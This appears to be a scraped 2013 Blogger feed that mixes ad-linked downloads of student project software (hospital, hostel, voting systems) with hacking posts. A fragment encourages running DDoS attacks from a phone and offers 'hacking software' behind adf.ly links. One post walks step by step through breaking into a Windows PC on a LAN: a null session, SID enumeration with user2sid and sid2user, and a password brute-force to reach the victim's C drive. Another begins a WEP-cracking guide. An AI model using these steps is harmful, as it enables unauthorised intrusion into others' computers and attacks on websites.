<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
So easy is it to use this technology that you can even control it from your <span class="tpk" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><a href="http://www.ibtimes.co.uk/topics/detail/600/blackberry/" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;">BlackBerry</a></span>, meaning you can be enjoying a pint in the pub with your friends while carrying out a DDoS attack on a website of your choice.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
If our tutorial has not provided you with enough information, there are dozens of other tutorials on various hacker forums around the web and even video tutorials on YouTube which you can watch.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
</div>
<br />
download full version of the hacking software here
<a href="http://adf.ly/XHL3M" imageanchor="1"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" /></a>
<!-- Start of adf.ly banner code -->
<br />
<div style="font-family: verdana; font-size: 10px; text-align: center; width: 728px;">
<a href="http://adf.ly/?id=335447"><img border="0" height="90" src="http://cdn.adf.ly/images/banners/adfly.728x90.2.gif" title="AdF.ly - shorten links and earn money!" width="728" /></a><br />
<a href="http://adf.ly/?id=335447">Get paid to share your links!</a></div>
<!-- End of adf.ly banner code --></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com15tag:blogger.com,1999:blog-6934446466784817478.post-43034721340319262102013-10-10T02:28:00.001-07:002013-10-10T02:28:31.067-07:00Hostel Management System<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h2 class="title">
Hostel Management System</h2>
<a href="http://i0.wp.com/studentprojectcode.com/wp-content/uploads/2012/06/hos.jpg"><img alt="" class="size-medium wp-image-22 alignleft" data-recalc-dims="1" src="http://i0.wp.com/studentprojectcode.com/wp-content/uploads/2012/06/hos.jpg?resize=300%2C103" title="hos" /></a><br />
This is the Hostel Management System Software. This is mostly used in hostels. Here the user can save all the details of the students who are staying in the hostel. there are many modules in the software, fee details, leave details, in and out time of the students, total expenditure of a particular student and also all the expenditure of all students. All the bills which are received by the hostel, is divided between all the <span id="more-21"></span>student depending on the leave details. Even the fee information is also stored. All thereports are also showed here. according to particular month and year. Advantage of this software is all the details of the students will be store in the computer, no chance of loosing the details. and also the fees is calculated properly.<br />
This software is error free. Anyone can use this software . you can download this software by clicking on download below. So use this software and get more benefit from from this. If have any doubts then post your doubts below.<br />
Front End : VB.Net<br />
Back End : SQL Server<br />
<b>Here is a video tutorial to how to download this project , just check it</b> <a href="http://www.youtube.com/watch?v=fTImm0Ym6oU" rel="nofollow" target="_blank">http://www.youtube.com/watch?v=fTImm0Ym6oU</a><br />
<a href="http://adf.ly/XHCcG" imageanchor="1"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" /></a></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com1tag:blogger.com,1999:blog-6934446466784817478.post-59996090431968874902013-10-10T02:21:00.003-07:002013-10-10T02:21:58.251-07:00Hospital Management System<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h2 class="title">
Hospital Management System</h2>
<a href="http://i2.wp.com/studentprojectcode.com/wp-content/uploads/2012/06/hospital1.png"><img alt="" class="size-medium wp-image-50 alignleft" data-recalc-dims="1" src="http://i2.wp.com/studentprojectcode.com/wp-content/uploads/2012/06/hospital1.png?resize=300%2C173" title="hospital1" /></a><br />
This hospital management system. Almost all the concepts which are there in hospital are included in this software. Modules under this software are appointment, patient details, treatment details, dosage, creditors details, billing, calculation of bills, reports and statistics. This software is one of the best software . All the report of the patients is <span id="more-49"></span>stored under this software. Advantages are, multiple doctors and receptionist can use this software. there is no risk of losing data.<br />
<br />
This software is error free. Anyone can use this software . you can download this software by clicking on download below. So use this software and get more benefit from from this. If have any doubts then post your doubts below.<br />
Front End : VB.Net<br />
Back End : SQL Server<br />
Enter your email address to subscribe to this website and receive notifications to your email id.<br />
<b>Here is a video tutorial to how to download this project , just check it</b> <a href="http://www.youtube.com/watch?v=fTImm0Ym6oU" rel="nofollow" target="_blank">http://www.youtube.com/watch?v=fTImm0Ym6oU</a><br />
<a href="http://adf.ly/XHBGK" imageanchor="1"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" /></a></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-36379657975972717452013-10-10T02:21:00.001-07:002013-10-10T02:21:07.099-07:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h2 class="title">
Hospital Management System</h2>
<a href="http://i2.wp.com/studentprojectcode.com/wp-content/uploads/2012/06/hospital1.png"><img alt="" class="size-medium wp-image-50 alignleft" data-recalc-dims="1" src="http://i2.wp.com/studentprojectcode.com/wp-content/uploads/2012/06/hospital1.png?resize=300%2C173" title="hospital1" /></a><br />
This hospital management system. Almost all the concepts which are there in hospital are included in this software. Modules under this software are appointment, patient details, treatment details, dosage, creditors details, billing, calculation of bills, reports and statistics. This software is one of the best software . All the report of the patients is <span id="more-49"></span>stored under this software. Advantages are, multiple doctors and receptionist can use this software. there is no risk of losing data.<br />
<br />
This software is error free. Anyone can use this software . you can download this software by clicking on download below. So use this software and get more benefit from from this. If have any doubts then post your doubts below.<br />
Front End : VB.Net<br />
Back End : SQL Server<br />
Enter your email address to subscribe to this website and receive notifications to your email id.<br />
<b>Here is a video tutorial to how to download this project , just check it</b> <a href="http://www.youtube.com/watch?v=fTImm0Ym6oU" rel="nofollow" target="_blank">http://www.youtube.com/watch?v=fTImm0Ym6oU</a><br />
<a href="http://adf.ly/XHBGK" imageanchor="1"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" /></a></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-17281916135439510802013-10-10T02:09:00.000-07:002013-10-10T02:09:06.216-07:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h2 class="title">
VOTE PLUS</h2>
<a href="http://i2.wp.com/www.studentprojectcode.com/wp-content/uploads/2013/04/vote-plus.png"><img alt="vote plus" class="size-full wp-image-1736" data-recalc-dims="1" src="http://i2.wp.com/www.studentprojectcode.com/wp-content/uploads/2013/04/vote-plus.png?resize=249%2C136" /></a><br />
<br />
This is the VOTE PLUS management software developed in vb.net. It is mainly done for the college purpose. All the candidates names of the different section will be displayed in the screen according to their post. Student have to just go and click the button to vote. calculation of the vote is done automatically which can be viewed only to the Admin.<span id="more-1735"></span><br />
<a name='more'></a>The winners name will be shown in the screen and even the votes they have gained. So this software can be used for the college voting sake, where there will be complete security, and the time to count the votes will be saved , because of the automatic calculation.<br />
This software is error free. Anyone can use this software . you can download this software by clicking on download below. So use this software and get more benefit from from this. If have any doubts then post your doubts below.<br />
<b>Video tutorial of the execution of VOTE PLUS software, just check here </b><br />
<b><a href="http://www.youtube.com/watch?v=iND1amtKqtk" rel="nofollow" target="_blank">http://www.youtube.com/watch?v=iND1amtKqtk</a></b><br />
Enter your email address to subscribe to this website and receive notifications to your email id.<br />
<b>Project title:</b><br />
<h2>
<b></b>VOTE PLUS<!--more--></h2>
<b>HARDWARE REQUIREMENTS:</b><br />
<ul>
<li><b>Processor:</b> Intel dual core or above</li>
<li><b>Processor Speed:</b>1.0GHZ or above<b></b>
<ul>
<li><b>RAM:</b> 1 GB RAM or above</li>
<li><b>Hard Disk:</b> 20 GB hard disk or above</li>
</ul>
</li>
</ul>
<b>SOFTWARE REQUIREMENTS:</b><br />
<ul>
<li><b>Language:</b> Microsoft Visual Studio 2008</li>
<li><b>Database:</b> Microsoft SQL server 200</li>
</ul>
<a href="http://adf.ly/XH8zC" imageanchor="1"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" /></a></div>
<!-- Start of adf.ly banner code -->
<div style="font-family: verdana; font-size: 10px; text-align: center; width: 728px;">
<a href="http://adf.ly/?id=335447"><img border="0" height="90" src="http://cdn.adf.ly/images/banners/adfly.728x90.2.gif" title="AdF.ly - shorten links and earn money!" width="728" /></a><br />
<a href="http://adf.ly/?id=335447">Get paid to share your links!</a></div>
<!-- End of adf.ly banner code -->
</div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-69640629724472340072013-10-10T01:52:00.002-07:002013-10-10T01:58:42.251-07:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h2 class="title">
E-School Management System</h2>
<img alt="eschool" class="alignnone size-medium wp-image-1886" data-recalc-dims="1" src="http://i0.wp.com/www.studentprojectcode.com/wp-content/uploads/2013/06/eschool.jpg?resize=300%2C244" /><br />
This is E-School Management system. This software manages all the activities held in a particular institution. First the school mainly concentrates on the student. As soon as the students get the admission, his/her details will be saved in the database and a unique number will be given to them. According to it, the classes will be allocated. <span id="more-1885"></span>The fee payment by the student will also be stored. If a student doesn’t pay the complete fee, the balance amount will be displayed.<br />
Monthly attendance will also stored. The system will set exam dates for each class. As soon as the exam is done, each students marks will be saved and for each student, this marks card will be printed. Any reports can be viewed. The system will also store the information of the awards gained by the institution. Any functions, meetings will also be noted down. The system will take care of the expenses and income of the school.<br />
This software is error free. Anyone can use this software . you can download this software by clicking on download below. So use this software and get more benefit from from this. If have any doubts then post your doubts below.<br />
Enter your email address to subscribe to this website and receive notifications to your email id.<br />
<h2>
<b>Project title: </b>E-School Management System</h2>
<b>Hard ware Specification:</b><br />
<ul>
<li>Processor : Intel Pentium 4</li>
</ul>
<ul>
<li>RAM : 512MB</li>
<li>Hard disk : 2GB <a name='more'></a></li>
</ul>
<b>Software Requirements</b><br />
<ul>
<li>Front end : .Net Framework 2.0</li>
<li>Back end : SQL Server 2005</li>
<li>Tools : Microsoft Visual Studio 2005,</li>
</ul>
Rational Rose Enterprise Edition,<br />
MS-Office<br />
<ul>
<li> Language : ASP. Net with C#.Net</li>
<li> Operating System : Windows 98/XP</li>
</ul>
</div>
<a href="http://adf.ly/XH6X5" imageanchor="1"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" /></a></div>
<!-- Start of adf.ly banner code -->
<div style="width: 728px; text-align: center; font-family: verdana; font-size: 10px;"><a href="http://adf.ly/?id=335447"><img border="0" src="http://cdn.adf.ly/images/banners/adfly.728x90.2.gif" width="728" height="90" title="AdF.ly - shorten links and earn money!" /></a><br /><a href="http://adf.ly/?id=335447">Get paid to share your links!</a></div>
<!-- End of adf.ly banner code -->
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-36014995063340464182013-10-10T01:44:00.001-07:002013-10-10T02:00:09.900-07:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h2 class="title">
Online Hotel reservation System</h2>
This is Online Hotel reservation System software. The project Hotel Management System is used for maintaining the information for each and every customer. Each and every customer has own personal details. If there is no perfect software then it will be a very tough task to maintain all the records perfectly without any mistakes. Even to find a particular record it takes lot of time.<br />
<a href="http://i1.wp.com/www.studentprojectcode.com/wp-content/uploads/2012/07/hotel-reservation1.jpg"><img alt="" class="alignleft size-full wp-image-644" data-recalc-dims="1" src="http://i1.wp.com/www.studentprojectcode.com/wp-content/uploads/2012/07/hotel-reservation1.jpg?resize=256%2C197" title="hotel-reservation1" /></a><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
In this software we can do mass check in. even reservation can be done. And to find any particular record we just need to click a single button. And whole information about that customer will given by the software. Even we can see the past details of the customers. So this software is user friendly use. And it saves lot of time.<br />
<span id="more-642"></span><br />
<h2>
Online Hotel reservation system</h2>
<b>Objective of the Project:</b><br />
Main aim of developing:<b> Hotel Management System </b>is to provide an easy way not only to automate all functionality of a Hotel Management<b>, </b>but also to provide full functional reports to top management.<br />
We are committed to bring the best way of management in the various forms of <b>Hotel Management System. </b>We understand that <b>Hotel Management System </b>in not a product to be sold, it is to manage the inner operation of Hotel management from Guest Check In to Check-Out and Reports.<br />
<b>Scope:</b><br />
This software is developed specifically to cater the needs of the office of <b>International Hotels</b>. It is totally self contained and works efficiently. It provides simple database rather than complex ones for high requirements and it provides good and easy graphical user interface to both new as well as experienced user of the computer.<br />
The project will be supposed to implement the storage of Guest Details so that a large collection could be maintained with minimum storage space. This project will also be able to provide reports of Check In, Check Out, Reservation, Mass Check In, Shifting Room, Block Rooms, Expense and Collection.<br />
<b> </b><br />
<b>Project Category </b>: RDBMS<br />
<br />
<ul>
<li><b>Process Description including DFDs and ER diagram: </b></li>
</ul>
<b>Admin:</b><br />
This module is going deal with the authorization rights related to the application and also rights to maintain the details of the Master tables/Forms included in the applications.<br />
<b> </b><b>Check In-Check Out:</b><br />
This module is used to store from the point of the Guest personal information including their Occupancy details and until they make Check Out.<br />
<b>Reservation:</b><br />
This module will handle the Room Booking with Guest details for a particular day.<br />
<b> </b><b>Mass Check In-Check Out:</b><br />
This module is used to deal the aspects like when Guest want to Occupy Multiple Rooms and also making Check Out with Multiple Rooms.<br />
<b>Billing:</b><br />
This module is used to generate Guest Billing according to their daily Occupancy details and also viewing these bills.<br />
<b>Reports:</b><br />
This module is to generate all types of Administrative reports like Check In Report, Expense and Reservations etc<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://adf.ly/XH51X" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s1600/download.png" /></a></div>
</div>
<!-- Start of adf.ly banner code -->
<div style="font-family: verdana; font-size: 10px; text-align: center; width: 728px;">
<a href="http://adf.ly/?id=335447"><img border="0" height="90" src="http://cdn.adf.ly/images/banners/adfly.728x90.2.gif" title="AdF.ly - shorten links and earn money!" width="728" /></a><br />
<a href="http://adf.ly/?id=335447">Get paid to share your links!</a></div>
<!-- End of adf.ly banner code --></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-56456602778930465892013-10-10T01:24:00.001-07:002013-10-10T01:24:39.298-07:00E-Learning system Gatein source java source code<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<img src="http://e-learning.sourceforge.net/logo.png" />
<a href="http://www.blogger.com/null" name="AboutProject"></a>
<br />
<h1>
e-Learning</h1>
e-Learning is a coursware system distributed under GPL license.
Project goal is to create a simple,platform independent courseware system for creating distant e-Learning courses for domain experts.
Project is divided into two parts
<br />
<ul>
<li><a href="http://www.blogger.com/designer.html">e-Learning Lesson Designer</a> - a standalone application for designing and publishing lesson files</li>
<li>e-Learning Lesson Viewer - is an applet capable of standalone running for viewing lesson files</li>
</ul>
This project was created as a implementation part of my master thesis at <a href="http://www.fmph.uniba.sk/">Faculty of Mathematics, Physics and Informatics</a> at <a href="http://www.uniba.sk/">Comenius University</a>.
You you want to contribute to this project or give any comments, feel free to contact me.
<br />
<div align="right">
Thank you for your interest in this project<br />
<a href="mailto:lomo@kyberia.net">Julius Loman</a></div>
<a href="http://www.blogger.com/null" name="Install"></a>
<br />
<h1>
Getting documentation</h1>
You can download JavaDoc (in English) or my master thesis (in Slovak) from nearest <a href="https://sourceforge.net/project/showfiles.php?group_id=76643">sourceforge</a> mirror.
<br />
<h1>
Building from source code </h1>
Projects needs operating system with <a href="http://java.sun.com/j2se/">Java 2 Standard Edition</a> 1.4 or higher.
For installation check <a href="http://www.blogger.com/build.html">installation guide</a>.
<br />
<h1>
Binary distribution</h1>
You can download and use binary, precompiled version with installer, if you wish so. Get it from <a href="http://lomo.kyberia.net/e-Learning/">binary distribution page</a>.
<a href="http://adf.ly/XH0b0" imageanchor="1"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" /></a></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-88692519974062129662013-10-09T02:24:00.002-07:002013-10-18T05:19:22.717-07:00steps guiding on hacking computer in LAN<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<h2>
<a href="http://bangash-hacker.blogspot.com/2011/07/how-to-hack-computer-in-lan.html">How to hack computer in LAN</a>
</h2>
<div class="post-header">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" id="post-body-8135016434245968949">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-MNzrKXKfGoI/Ti5QJadmtmI/AAAAAAAAAAs/SaKzI7uSVJ4/s1600/lan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="173" src="http://4.bp.blogspot.com/-MNzrKXKfGoI/Ti5QJadmtmI/AAAAAAAAAAs/SaKzI7uSVJ4/s200/lan.jpg" width="200" /></a></div>
<span id="goog_1606056819"></span><span id="goog_1606056820"></span><br />
Hello Friends!<br />
I hope you will enjoy my previous post and now I am sharing with you "How to hack computer in LAN".<br />
<b>Tools Required:</b><br />
<b>1) </b>USER2SID & SID2USER<br />
<a href="http://www.blogger.com/null" name="more"></a><br />
<br />
<b>2) </b>NetBios Auditing Tool<br />
<br />
<a href="http://adf.ly/XkuCV">Download USER2SID & SID2USER</a><br />
<a href="http://adf.ly/Xkuhu">Download NetBios Auditing Tool</a><br />
<br />
After Download then extract both in C:\ drive<br />
Note: Rename "NetBios Auditing Tool" to "nat"<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-j97wKTTZpU4/Ti5UWsesKZI/AAAAAAAAAAw/Ns-A-sWNUsU/s1600/copy-c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://4.bp.blogspot.com/-j97wKTTZpU4/Ti5UWsesKZI/AAAAAAAAAAw/Ns-A-sWNUsU/s640/copy-c.jpg" width="500" /></a></div>
<br />
You now need to create a null session to the target computer<br />
Code: write in CMD(command prompt) <br />
<span style="color: lime;"><b><i>net use \\192.168.1.3\ipc$ "" /u:""</i></b></span><br />
<span style="color: lime;"><b><i><span style="color: black;">Note:</span></i></b><span style="color: black;">Replace 192.168.1.3 with your victim Computer IP address.</span><b><i> </i></b></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-uhfjaUOWRIU/Ti5W9vs5nnI/AAAAAAAAAA4/-AZpZNGxtTE/s1600/null-session.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="http://2.bp.blogspot.com/-uhfjaUOWRIU/Ti5W9vs5nnI/AAAAAAAAAA4/-AZpZNGxtTE/s400/null-session.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
Now open USER2SID & SID2USER folder in cmd<br />
First we open USER2SID tools in CMD<br />
<span style="color: black;">Code: <span style="color: lime;">user2sid \\192.168.40.128 guest</span></span><br />
<span style="color: black;"><span style="color: lime;"><span style="color: black;">Note : Replace IP address with your address.</span> </span></span> <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ESi5oCAVjaw/Ti5YluTdlXI/AAAAAAAAAA8/77nSKJtfWjw/s1600/4_10.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="180" src="http://2.bp.blogspot.com/-ESi5oCAVjaw/Ti5YluTdlXI/AAAAAAAAAA8/77nSKJtfWjw/s400/4_10.jpg" width="400" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
We will test against the Guest account because Guest account is a built in account.<br />
<br />
After we get the ID,we need to do some modification on the ID.<br />
<br />
We take the ID we get from the guest account and modified it become <br />
"5 21 861567501 1383384898 839522115 500".<br />
<br />
Please leave out the S-1-,leave out all the - too.<br />
Code: <span style="color: lime;">sid2user \\192.168.40.128 </span> <span style="color: lime;">5 21 861567501 1383384898 839522115 500</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-q6ate3pnwa8/Ti5ZE7wLodI/AAAAAAAAABA/HCGU5IcPDZ0/s1600/5_8.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="43" src="http://2.bp.blogspot.com/-q6ate3pnwa8/Ti5ZE7wLodI/AAAAAAAAABA/HCGU5IcPDZ0/s400/5_8.jpg" width="500" /></a></div>
<br />
<b> </b> <br />
<br />
<br />
<br />
<br />
Now you will see that you get the username of the Administrator account.<br />
<br />
In this case,the Administrator account is Administrator.<br />
<br />
<br />
Create a text file called user.txt and the content will be the username of the Admin account.(If it is already create on tool then do not create it)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-at3H2j8KY40/Ti5bNmDDdPI/AAAAAAAAABE/FhohKGlbi2M/s1600/6.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="260" src="http://3.bp.blogspot.com/-at3H2j8KY40/Ti5bNmDDdPI/AAAAAAAAABE/FhohKGlbi2M/s400/6.jpg" width="400" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Prepare yourself a good wordlist for Passwords<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-s1n7IN_TRt0/Ti5bxw808RI/AAAAAAAAABI/BeT9ANxDxas/s1600/7.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-s1n7IN_TRt0/Ti5bxw808RI/AAAAAAAAABI/BeT9ANxDxas/s400/7.jpg" width="255" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Now we are going to crack the Admin account for the password in order to access to the target computer.<br />
<br />
Browse to the NetBios Auditing Tool directory.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-xfGfpJknups/Ti5cGT-7TWI/AAAAAAAAABM/u4GArS7tVtI/s1600/9_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="127" src="http://2.bp.blogspot.com/-xfGfpJknups/Ti5cGT-7TWI/AAAAAAAAABM/u4GArS7tVtI/s400/9_1.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-nyCw_a85Iao/Ti5ceenhTdI/AAAAAAAAABQ/CXMQP0g5tRg/s1600/10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="197" src="http://1.bp.blogspot.com/-nyCw_a85Iao/Ti5ceenhTdI/AAAAAAAAABQ/CXMQP0g5tRg/s400/10.jpg" width="400" /></a></div>
In this case,I have get the password.<br />
<br />
<br />
<br />
Note: Most of User have administrator password empty mean there is no password for administrator so leave above if administrator password is blank.<br />
<br />
In order to proof that I can get access to the target computer using this password.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-azeyBJ2FkYs/Ti5c5zuGkkI/AAAAAAAAABU/7NCPmX1DfE4/s1600/11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="198" src="http://2.bp.blogspot.com/-azeyBJ2FkYs/Ti5c5zuGkkI/AAAAAAAAABU/7NCPmX1DfE4/s400/11.jpg" width="400" /></a></div>
<br />
After you press enter,it will prompt you for the username and password.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-mRWSscAs1mA/Ti5dF3rfeGI/AAAAAAAAABY/7ZHhzIohyyg/s1600/12_6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="341" src="http://1.bp.blogspot.com/-mRWSscAs1mA/Ti5dF3rfeGI/AAAAAAAAABY/7ZHhzIohyyg/s400/12_6.jpg" width="400" /></a></div>
Therefore,just input them inside the prompt and continue. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-HjpxymTrtsM/Ti5dVrMBSCI/AAAAAAAAABc/F4TBGT36YmQ/s1600/13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="347" src="http://3.bp.blogspot.com/-HjpxymTrtsM/Ti5dVrMBSCI/AAAAAAAAABc/F4TBGT36YmQ/s400/13.jpg" width="400" /></a></div>
<br />
Target C drive will be on your screen.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-fdLRzG9hNaQ/Ti5dgaDc3-I/AAAAAAAAABg/wX3rGaKL2WI/s1600/14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="323" src="http://4.bp.blogspot.com/-fdLRzG9hNaQ/Ti5dgaDc3-I/AAAAAAAAABg/wX3rGaKL2WI/s400/14.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Thanks for Reading this article if you have any problem then post it in comment box</div>
<hr />
<br /></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-3899073744750235242013-10-04T02:21:00.001-07:002013-10-04T02:21:18.503-07:00How to Crack a Wi-Fi Network's WEP Password with BackTrack<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<div class="inset_placeholder" id="inset_placeholder_5873407"></div><p data-textannotation-id="1e3324ee8afee4c64ce085bb5c4bb7f0"><em>Note: This post demonstrates how to crack WEP passwords, an older and less often used network security protocol. If the network you want to crack is using the more popular WPA encryption, see our <a href="http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver">guide to cracking a Wi-Fi network's WPA password with Reaver</a> instead.</em></p>
